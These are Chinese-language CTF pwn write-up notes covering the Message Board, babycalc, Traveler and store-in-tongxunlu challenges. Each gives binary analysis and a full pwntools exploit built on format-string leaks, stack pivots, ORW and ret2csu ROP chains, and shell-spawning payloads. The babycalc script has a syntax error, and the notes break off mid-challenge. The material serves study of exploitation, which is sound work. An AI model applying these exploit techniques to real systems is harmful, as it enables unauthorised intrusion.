二月复现笔记

②西湖论剑

1.Message Board

分析

前置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
chen@chen:~/桌面/match/XI_HU/Message Board$ checksec ./pwn
[*] '/home/chen/桌面/match/XI_HU/Message Board/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

chen@chen:~/桌面/match/XI_HU/Message Board$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

ban了一个execve,通过orw

逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
char buf[8]; // [rsp+0h] [rbp-C0h] BYREF
char dest[8]; // [rsp+8h] [rbp-B8h] BYREF
char v7[176]; // [rsp+10h] [rbp-B0h] BYREF

init_sandbox();
if ( !dword_4040AC )
{
strcpy(dest, "Hello, ");
puts("Welcome to DASCTF message board, please leave your name:");
read(0, buf, 8uLL);
dword_4040AC = 1;
}
v3 = strcat(dest, buf);
printf(v3); //栈上的格式化字符串漏洞,输入长度8字节,泄露libc
puts("Now, please say something to DASCTF:");
read(0, v7, 0xC0uLL); //0x10栈溢出,栈迁移,做ret2syscall--orw
puts("Posted Successfully~");
return 0LL;
}

偏移:6

思路

  1. 第一次输入:fmt:leak_libc 以及 栈地址
  2. 第二次输入:字符串位于泄露出的栈地址+0x10处
  3. 布栈:ret2syscall的方法,布置ORW链
  4. 栈迁移,实现再次写,rsi由rbp索引
  5. 栈迁移回栈上,执行ROP链

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
call foo
;push rip+8
;mov foo_addr, rip

foo
;push rbp
;mov rbp,rsp

leave
;mov rsp, rbp
;pop rbp

ret
;pop rip

函数调用开始,和末尾的leave_ret是两个相反的过程

如果存在溢出0x10字节,意味着可以控制rbp,将ret篡改为leave_ret这一gadget,程序的末尾即是

1
2
3
4
5
6
7
8
9
10
leave 
;mov rsp, rbp
;pop rbp

leave
;mov rsp, rbp
;pop rbp

ret
;pop rip

流程

栈溢出篡改rbp , ret

1
2
rbp: Hack_addr - 0x8
ret: leave_ret

本题

第二次输入位置:stack_addr - 0xb0

stack_addr:0x7ffded449570

stack_addr - 0xb0:0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */

栈迁移位置:stack_addr - 0xb0 + 0x8

因为此处是先填入0x8字节的内容,所以栈迁移地址直接写到此处即可

(其他情况下,放在目标地址-0x8处)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
00:0000│ rsp 0x7ffded4494a8 —▸ 0x401391 ◂— lea    rdi, [rip + 0xcd5]
01:0008│ 0x7ffded4494b0 ◂— 0x70243133257025 /* '%p%31$p' */
02:0010│ 0x7ffded4494b8 ◂— 'Hello, %p%31$p'
03:0018│ rsi 0x7ffded4494c0 ◂— 0x702431332570 /* 'p%31$p' */
04:0020│ 0x7ffded4494c8 ◂— 0x0
... ↓ 3 skipped



00:0000│ rsp 0x7ffded4494b0 ◂— 0x70243133257025 /* '%p%31$p' */
01:0008│ 0x7ffded4494b8 ◂— 'Hello, %/flag'
02:0010│ rsi 0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */
03:0018│ 0x7ffded4494c8 —▸ 0x7fe6c983bb6a (init_cacheinfo+234) ◂— pop rdi
04:0020│ 0x7ffded4494d0 —▸ 0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */
05:0028│ 0x7ffded4494d8 —▸ 0x7fe6c983e01f (__gconv_close_transform+239) ◂— pop rsi
06:0030│ 0x7ffded4494e0 ◂— 0x0
07:0038│ 0x7ffded4494e8 —▸ 0x7fe6c9925ce0 (open64) ◂— endbr64



leave_ret_gadget

1
2
.text:00000000004012E1 C9                            leave
.text:00000000004012E2 C3 retn

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python
# -*- coding: <encoding name> -*-

from pwn import *
from ctypes import *

libc = ELF("./libc-2.31.so")
banary = "./pwn"
elf = ELF(banary)
ip = 'tcp.cloud.dasctf.com'
port = 25994

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"
context.arch = 'amd64'

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received.decode('UTF-8')}")
p.send(flat(content))

def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)



#gdb.attach(p)
#--------------------1.leak_libc & stack-------------------
payload1 = b'%p%31$p'
sa(b'name:', payload1)

p.recvuntil(b'Hello, ')

stack_addr= int(p.recv(14), 16) + 0xc0 #rbp
lg('stack_addr')
libc_base= int(p.recv(14), 16) - libc.symbols['__libc_start_main']- 243
lg('libc_base')

#--------------------2.Gadget----------------------------
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
puts_addr = libc_base + libc.sym['puts']

offset_2 =libc.search(asm('pop rdx;ret')).__next__() #0x1c9a---BUG
lg('offset_2')

pop_rdi_ret = 0x0000000000401413
pop_rsi_ret = libc_base + libc.search(asm('pop rsi; ret')).__next__()
pop_rdx_ret = libc_base + 0x142c92


flag = stack_addr - 0xb0
leave_ret = 0x00000000004012e1

lg('read_addr')
lg('open_addr')
lg('write_addr')
lg('pop_rdi_ret')
lg('pop_rsi_ret')
lg('pop_rdx_ret')

#--------------------3.ORW------------------------------
orw_payload = b'/flag\0\0\0'
orw_payload += p64(pop_rdi_ret)+ p64(flag) +p64(pop_rsi_ret)+ p64(0) + p64(open_addr)
orw_payload += p64(pop_rdi_ret)+ p64(3)+ p64(pop_rsi_ret)+ p64(stack_addr+0x90)+ p64(pop_rdx_ret) + p64(0x30)+ p64(read_addr)
orw_payload += p64(pop_rdi_ret)+ p64(1)+p64(pop_rsi_ret)+ p64(stack_addr+0x90)+ p64(pop_rdx_ret)+ p64(0x30)+ p64(write_addr)

#--------------------4.Stack_pivot & PWN----------------------
payload2 = orw_payload.ljust(0xb0,b'a') + p64(flag)+ p64(leave_ret)
sa(b'DASCTF:',payload2)

pi()

2.babycalc

re2csu

ret2csu的目的是可以通过gadget,控制所有寄存器,直接实现一个函数的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Gadget1
.text:0000000000400C96 loc_400C96: ; CODE XREF: init+34↑j
.text:0000000000400C96 48 83 C4 08 add rsp, 8

.text:0000000000400C9A 5B pop rbx
.text:0000000000400C9B 5D pop rbp
.text:0000000000400C9C 41 5C pop r12
.text:0000000000400C9E 41 5D pop r13
.text:0000000000400CA0 41 5E pop r14
.text:0000000000400CA2 41 5F pop r15
.text:0000000000400CA4 C3 retn

#Gadget2
.text:0000000000400C80 loc_400C80: ; CODE XREF: init+54↓j
.text:0000000000400C80 4C 89 EA mov rdx, r13
.text:0000000000400C83 4C 89 F6 mov rsi, r14
.text:0000000000400C86 44 89 FF mov edi, r15d
.text:0000000000400C89 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:0000000000400C89
.text:0000000000400C8D 48 83 C3 01 add rbx, 1
.text:0000000000400C91 48 39 EB cmp rbx, rbp
.text:0000000000400C94 75 EA jnz short loc_400C80
.text:0000000000400C94

python代码–write(1,write_got,8)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
csu_one_addr =0x400C96
csu_second_addr = 0x400C80
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx = 0,
# rbp = 1, not to jump
# r12 = 目标函数地址
# rdi = edi=r15d
# rsi = r14
# rdx = r13

#第一个段0x80+fake_ebp是偏移量(视题目而定),第二个0x38是让程序流重新回到ret位置
payload = 'a' * 0x80 + fake_ebp
payload += p64(csu_one_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_second_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)

# write(1,write_got,8)
#实际:RBX=0, RBP=1 ,R12指向目标函数, 填充三个参数(逆序):RDX, RSI , RDI
csu(0, 1, write_got, 8, write_got, 1, main_addr)

本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csu_one_addr    =  0x400C96
csu_second_addr = 0x400C80
def csu(rdi,rsi,rdx,call_addr):
# pop rbx,rbp,r12,r13,r14,r15
# rbx = 0,
# rbp = 1, not to jump
# r12 = 目标函数地址
# r13 = rdx
# r14 = rsi
# r15d = edi = rdi
payload = p64(csu_one_addr)+ p64(0)+ p64(1)+ p64(call_addr)+ p64(rdx)+ p64(rsi)+ p64(rdi)
payload += p64(csu_second_addr)
payload += p64(0)*7
return payload

分析

开了NX保护,栈迁移,ret2csu,ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void __fastcall vuln()
{
char v0; // al
char buf[208]; // [rsp+0h] [rbp-100h] BYREF
unsigned __int8 v2; // [rsp+D0h] [rbp-30h] 0
unsigned __int8 v3; // [rsp+D1h] [rbp-2Fh] 1
unsigned __int8 v4; // [rsp+D2h] [rbp-2Eh] 2
unsigned __int8 v5; // [rsp+D3h] [rbp-2Dh] 3
unsigned __int8 v6; // [rsp+D4h] [rbp-2Ch] 4
unsigned __int8 v7; // [rsp+D5h] [rbp-2Bh] 5
unsigned __int8 v8; // [rsp+D6h] [rbp-2Ah] 6
unsigned __int8 v9; // [rsp+D7h] [rbp-29h] 7
unsigned __int8 v10; // [rsp+D8h] [rbp-28h] 8
unsigned __int8 v11; // [rsp+D9h] [rbp-27h] 9
unsigned __int8 v12; // [rsp+DAh] [rbp-26h] 10
unsigned __int8 v13; // [rsp+DBh] [rbp-25h] 11
unsigned __int8 v14; // [rsp+DCh] [rbp-24h] 12
unsigned __int8 v15; // [rsp+DDh] [rbp-23h] 13
unsigned __int8 v16; // [rsp+DEh] [rbp-22h] 14
unsigned __int8 v17; // [rsp+DFh] [rbp-21h] 15
int i; // [rsp+FCh] [rbp-4h]
//[rbp]
//ret

for ( i = 0; i <= 15; ++i )
{
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0; //可以改i的值
v0 = strtol(buf, 0LL, 10); //调试后发现输入payload,不会变,所以可以布栈
*(&v2 + i) = v0; //有问题!!!越界
}
//b'\x13'+ b'\x24'+ b'\x35'+ b'\x46'+ b'\x37' + b'\x42' + b'\x11' + b'\xA1' + b'\x32' + b'\x83' + b'\xD4' + b'\x65' + b'\x76'+ b'\xC7'+ b'\x18'+ b'\x03'
if ( v4 * v3 * v2 - v5 != 36182
|| v2 != 19
|| v4 * 19 * v3 + v5 != 36322
|| (v12 + v2 - v7) * v15 != 32835
|| (v3 * v2 - v4) * v5 != 44170
|| (v4 + v3 * v2) * v5 != 51590
|| v8 * v7 * v6 - v9 != 61549
|| v9 * v14 + v3 + v17 != 19037
|| v8 * v7 * v6 + v9 != 61871
|| (v7 * v6 - v8) * v9 != 581693
|| v10 != 50
|| (v8 + v7 * v6) * v9 != 587167
|| v12 * v11 * v10 - v13 != 1388499
|| v12 * v11 * v10 + v13 != 1388701
|| (v11 * v10 - v12) * v13 != 640138
|| (v10 * v4 - v15) * v11 != 321081
|| (v12 + v11 * v10) * v13 != 682962
|| v16 * v15 * v14 - v17 != 563565
|| v16 * v15 * v14 + v17 != 563571
|| v13 != 101
|| (v15 * v14 - v16) * v17 != 70374
|| (v16 + v15 * v14) * v17 != 70518 )
{
exit(0);
}
puts("good done");
}

漏洞点

循环中

1
2
3
4
5
6
7
8
for ( i = 0; i <= 15; ++i )
{
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0; //可以改i的值,结合后面,可以实现越界写
//同时有一个offbynull,相当于只有一个NULL字节的溢出
v0 = strtol(buf, 0LL, 10); //调试后发现输入payload,不会变,所以可以布栈
*(&v2 + i) = v0; //通过控制i,越界写,改ret为leave_ret
}

off-by-null:栈覆写,控一下程序流

越界写:开始想通过strtol返回一个地址,实现覆写,但是不行,需要换种思路

Z3

可以通过python脚本实现(也可以手算)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from z3 import *
s=Solver()
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18')
s.add(v3==19)
s.add(v5 * v4 * v3 - v6 == 36182)
s.add( v5 * 19 * v4 + v6 == 36322)
s.add( (v13 + v3 - v8) * v16 == 32835)
s.add( (v4 * v3 - v5) * v6 == 44170)
s.add( (v5 + v4 * v3) * v6 == 51590)
s.add( v9 * v8 * v7 - v10 == 61549)
s.add( v10 * v15 + v4 + v18 == 19037)
s.add( v9 * v8 * v7 + v10 == 61871)
s.add( (v8 * v7 - v9) * v10 == 581693)
s.add( v11 == 50)
s.add( (v9 + v8 * v7) * v10 == 587167)
s.add( v13 * v12 * v11 - v14 == 1388499)
s.add( v13 * v12 * v11 + v14 == 1388701)
s.add( (v12 * v11 - v13) * v14 == 640138)
s.add( (v11 * v5 - v16) * v12 == 321081)
s.add( (v13 + v12 * v11) * v14 == 682962)
s.add( v17 * v16 * v15 - v18 == 563565)
s.add( v17 * v16 * v15 + v18 == 563571)
s.add( v14 == 101)
s.add( (v16 * v15 - v17) * v18 == 70374)
s.add( (v17 + v16 * v15) * v18 == 70518 )
print(s.check())
print(s.model())

v2-v17: 19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3

翻译为字节:\x13 \x24 \x35 \x46 \x37 \x42 \x11 \xA1 \x32 \x83 \xD4 \x65 \x76 \xC7 \x18 \x03

1
2
3
4
{
exit(0);
}
puts("good done");

思路

  1. off-by-null覆写rbp低位为\x00
  2. 利用越界写,控制ret,改成leave_ret,进行栈迁移回栈(需要爆破1/16)
  3. 因为程序不清楚栈,所以提前控制栈帧
  4. 泄露 libc 地址后用 csu 调用 read 函数覆写 got 表

一步到位exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python
# -*- coding: <encoding name> -*-
from pwn import *
from ctypes import *

libc = ELF('./libc-2.23.so')
banary = "./babycalc"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#-----------------------1.Gadget ---------------------------
#debug()
'''
$ ROPgadget --binary ./babycalc | grep 'leave ; ret'
0x0000000000400bb7 : leave ; ret
0x0000000000400c17 : nop ; leave ; ret
'''
rdi_ret = 0x0000000000400ca3
rsi_r15_ret = 0x0000000000400ca1
ret = 0x0000000000400ca4
leave_ret = 0x0000000000400c17

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
read_got = elf.got["read"]

csu_one_addr = 0x400C96
csu_second_addr = 0x400C80
def csu(rdi,rsi,rdx,call_addr):
# pop rbx,rbp,r12,r13,r14,r15
# rbx = 0,
# rbp = 1, not to jump
# r12 = call_
# r13 = rdx
# r14 = rsi
# r15d = edi = rdi
payload = p64(csu_one_addr)+ p64(0)+ p64(1)+ p64(call_addr)+ p64(rdx)+ p64(rsi)+ p64(rdi)
payload += p64(csu_second_addr)
payload += p64(0)*7
return payload


def pwn():
#-----------------------2.Calc + stack_piviot-----------------------------
matrix= [19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
#\x13 \x24 \x35 \x46 \x37 \x42 \x11 \xA1 \x32 \x83 \xD4 \x65 \x76 \xC7 \x18 \x03

#0x30+0x40+0x38 =0xa8
ROP = p64(rdi_ret) + p64(puts_got) +p64(puts_plt) #leak_libc
ROP += csu(0, puts_got, 0x30, read_got) #read(0, puts_got , 0x30) 改puts_got表地址,同时输入/bin/sh
ROP += p64(rdi_ret) + p64(puts_got+8) +p64(puts_plt) #puts( &puts_got+8 ) == system('/bin/sh\x00')

payload = str(0x18).encode().ljust(0x8,b'\0') #0x8
payload += p64(ret)* 4 #0x8 - 0x28
payload += ROP #0xD0
payload += b'\x13'+ b'\x24'+ b'\x35'+ b'\x46'+ b'\x37' + b'\x42' + b'\x11' + b'\xA1' + b'\x32' + b'\x83' + b'\xD4' + b'\x65' + b'\x76'+ b'\xC7'+ b'\x18'+ b'\x03'
payload = payload.ljust(0xfc,b'\0')
payload += p32(0x38)

#pause()
sa(b':', payload)
#pause()
#--------------------------------3.libc -------------------------------------
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
lg('puts_addr')
lg('libc_base')

sl(p64(system_addr) + b'/bin/sh\x00')

pi()

while True:
#p = remote('',)
p = process('./babycalc')
try:
pwn()
excepts:
p.close()
continue

3.JIT

③V&NCTF

1.Traveler

分析

main

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts("who r u?");
read(0, buf, 0x30uLL);
puts("How many travels can a person have in his life?");
read(0, &msg, 0x28uLL);
return 0;
}

第一步覆盖rbp,ret,进行栈迁移

第二步,向bss段写,控栈,五条指令

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000040120A 48 8D 3D 01 0E 00 00          lea     rdi, s                          ; "who r u?"
.text:0000000000401211 E8 5A FE FF FF call _puts
.text:0000000000401211
.text:0000000000401216 48 8D 45 E0 lea rax, [rbp+buf]
.text:000000000040121A BA 30 00 00 00 mov edx, 30h ; '0' ; nbytes
.text:000000000040121F 48 89 C6 mov rsi, rax ; buf
.text:0000000000401222 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401227 E8 74 FE FF FF call _read
.text:0000000000401227
.text:000000000040122C 48 8D 3D ED 0D 00 00 lea rdi, aHowManyTravels ; "How many travels can a person have in h"...
.text:0000000000401233 E8 38 FE FF FF call _puts
.text:0000000000401233
.text:0000000000401238 BA 28 00 00 00 mov edx, 28h ; '(' ; nbytes
.text:000000000040123D 48 8D 35 5C 2E 00 00 lea rsi, msg ; buf
.text:0000000000401244 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401249 E8 52 FE FF FF call _read
.text:0000000000401249
.text:000000000040124E B8 00 00 00 00 mov eax, 0
.text:0000000000401253 C9 leave
.text:0000000000401254 C3 retn

注意末尾的mov eax,0指令,这一步之后,就不能复用了,所以不能利用这一段的Gadget

pop/push/ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pop
rsp+8

push
rsp-8

call s
push rip
jmp s

leave
mov rsp,rbp
pop rbp

ret
pop rip
jmp xx

思路

ret2syscall

1. 通过栈迁移,控制gadget,实现再次写

2. 布栈,实现泄露libc,同时控制程序流,返回main

3. 再次栈迁移,控制gadget,实现再次写

4. 布栈,控制寄存器,打one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ one_gadget -f libc-2.31.so

0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
from ctypes import *
from LibcSearcher import *

context(os='Linux',arch='amd64',log_level='debug')

#libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
banary = "./traveler"
elf = ELF(banary)
ip = 'node4.buuoj.cn'
port = 28855

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#debug()
#----------------- 0. Gadget ----------------------
pop_rdi_ret = 0x00000000004012c3
pop_rsi_r15_ret = 0x00000000004012c1
leave_ret = 0x0000000000401253
ret = 0x000000000040101a

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_addr = elf.plt['system']
lg('puts_got')
lg('puts_plt')

bss = 0x00000000004040A0 + 0x400
read = 0x0000000000401216
main = 0x4011F4

#----------------- 1. stack_piviot ----------------------
#bss-0x20
payload1 = b'a'*0x20 + p64(bss) + p64(read)
sa('who r u?', payload1)
sa('life?',b'\n')

#----------------- 2. leak_libc -------------------------
#read(0, 0x404480 ,0x30)
payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
payload2 += p64(bss-0x28) +p64(leave_ret)
s(payload2)
sa('life?',b'\n')

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg('puts_addr')

#libc = LibcSearcher('puts',puts_addr)
libc = ELF('./libc-2.31.so')
libc_base = puts_addr - libc.sym['puts']
lg('libc_base')

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
pop_r12 = libc_base + 0x000000000002f709
one_gadget = libc_base + 0xe3afe

#----------------- 3. pwn -------------------------
payload1 = b'a'*0x20 + p64(bss+0x80) + p64(read)
s(payload1)
sa('life?',b'\n')

payload3 = p64(pop_r12) + p64(0) + p64(one_gadget) + p64(0)
payload3 += p64(bss+0x80-0x28) + p64(leave_ret)
sl(payload3)

pi()

2.store in tongxunlu

提示:ubuntu20

分析

保护

1
2
3
4
5
6
[*] '/home/chen/桌面/match/VN/TONGXUN/store'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

eeee_wantboy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 eeee_wantboy()
{
char v1[256]; // [rsp+0h] [rbp-130h] BYREF
char buf[36]; // [rsp+100h] [rbp-30h] BYREF
int v3; // [rsp+128h] [rbp-8h]
int v4; // [rsp+12Ch] [rbp-4h]

v4 = 0;
v3 = 0;
puts("halo little giegie,my name is eeee,i am 11111");
puts("can i get your phone number");
puts("if you give me your number,i will give you some hao_kang_de");
read(0, buf, 0x40uLL);
printf("i get you ! little giegie");
printf("heyhey , hao_kang_de is %lx \n", v1);
puts("anything want to say?");
read(0, v1, 0x100uLL);
return strtol(buf, 0LL, 10);
}

第一次输入,0x10字节的溢出,通过栈覆写ret,使得程序流复原

之后接受栈地址

第二次输入,布栈,

hao_kang_de

1
2
3
4
5
6
7
8
int hao_kang_de()
{
signed __int64 v0; // rax

puts("wait!! i will give you something");
v0 = sys_write(0, 0LL, 0LL);
return puts("hhhh~i just tell a joke");
}

syscall,瞅汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:000000000000087B 55                            push    rbp
.text:000000000000087C 48 89 E5 mov rbp, rsp
.text:000000000000087F 48 8D 3D B2 01 00 00 lea rdi, s ; "wait!! i will give you something"
.text:0000000000000886 E8 25 FE FF FF call _puts
.text:0000000000000886
.text:000000000000088B 48 C7 C0 01 00 00 00 mov rax, 1
.text:0000000000000892 48 C7 C7 00 00 00 00 mov rdi, 0 ; fd
.text:0000000000000899 48 C7 C6 00 00 00 00 mov rsi, 0 ; buf
.text:00000000000008A0 48 C7 C2 00 00 00 00 mov rdx, 0 ; count
.text:00000000000008A7 0F 05 syscall ; LINUX - sys_write

.text:00000000000008A9 48 8D 3D A9 01 00 00 lea rdi, aHhhhIJustTellA ; "hhhh~i just tell a joke"
.text:00000000000008B0 E8 FB FD FF FF call _puts
.text:00000000000008B0
.text:00000000000008B5 90 nop
.text:00000000000008B6 5D pop rbp
.text:00000000000008B7 C3 retn

汇编

重点放在最后几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:000000000000090B 48 8D 3D F2 01 00 00          lea     rdi, format                     ; "i get you ! little giegie"
.text:0000000000000912 B8 00 00 00 00 mov eax, 0
.text:0000000000000917 E8 A4 FD FF FF call _printf
.text:0000000000000917

.text:000000000000091C 48 8D 85 D0 FE FF FF lea rax, [rbp+var_130]
.text:0000000000000923 48 89 C6 mov rsi, rax
.text:0000000000000926 48 8D 3D F1 01 00 00 lea rdi, aHeyheyHaoKangD ; "heyhey , hao_kang_de is %lx \n"
.text:000000000000092D B8 00 00 00 00 mov eax, 0
.text:0000000000000932 E8 89 FD FF FF call _printf
.text:0000000000000932

.text:0000000000000937 48 8D 3D FE 01 00 00 lea rdi, aAnythingWantTo ; "anything want to say?"
.text:000000000000093E E8 6D FD FF FF call _puts
.text:000000000000093E

.text:0000000000000943 48 8D 85 D0 FE FF FF lea rax, [rbp+var_130]
.text:000000000000094A BA 00 01 00 00 mov edx, 100h ; nbytes
.text:000000000000094F 48 89 C6 mov rsi, rax ; buf
.text:0000000000000952 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000000957 E8 74 FD FF FF call _read
.text:0000000000000957

.text:000000000000095C 48 8D 45 D0 lea rax, [rbp+buf]
.text:0000000000000960 BA 0A 00 00 00 mov edx, 0Ah ; base
.text:0000000000000965 BE 00 00 00 00 mov esi, 0 ; endptr
.text:000000000000096A 48 89 C7 mov rdi, rax ; nptr
.text:000000000000096D E8 6E FD FF FF call _strtol
.text:000000000000096D

.text:0000000000000972 89 45 F4 mov [rbp+var_C], eax
.text:0000000000000975 90 nop
.text:0000000000000976 C9 leave
.text:0000000000000977 C3 retn

思路

一:非预期,但是很牛逼

  1. 第一次输入结束后,会给一个栈地址,要去接收。
  2. 在其前,有一次0x10字节的栈溢出,通过覆写ret末字节,进行一个短距离的迁移,使得再次执行main,此时也有栈地址了
1
2
3
4
5
6
7
8
9
10
11
12
call h:
push rip (rsp -= 0x8)

h:
push rbp
mov rbp, rsp

leave:
mov rsp, rbp
pop rbp
ret:
pop rip

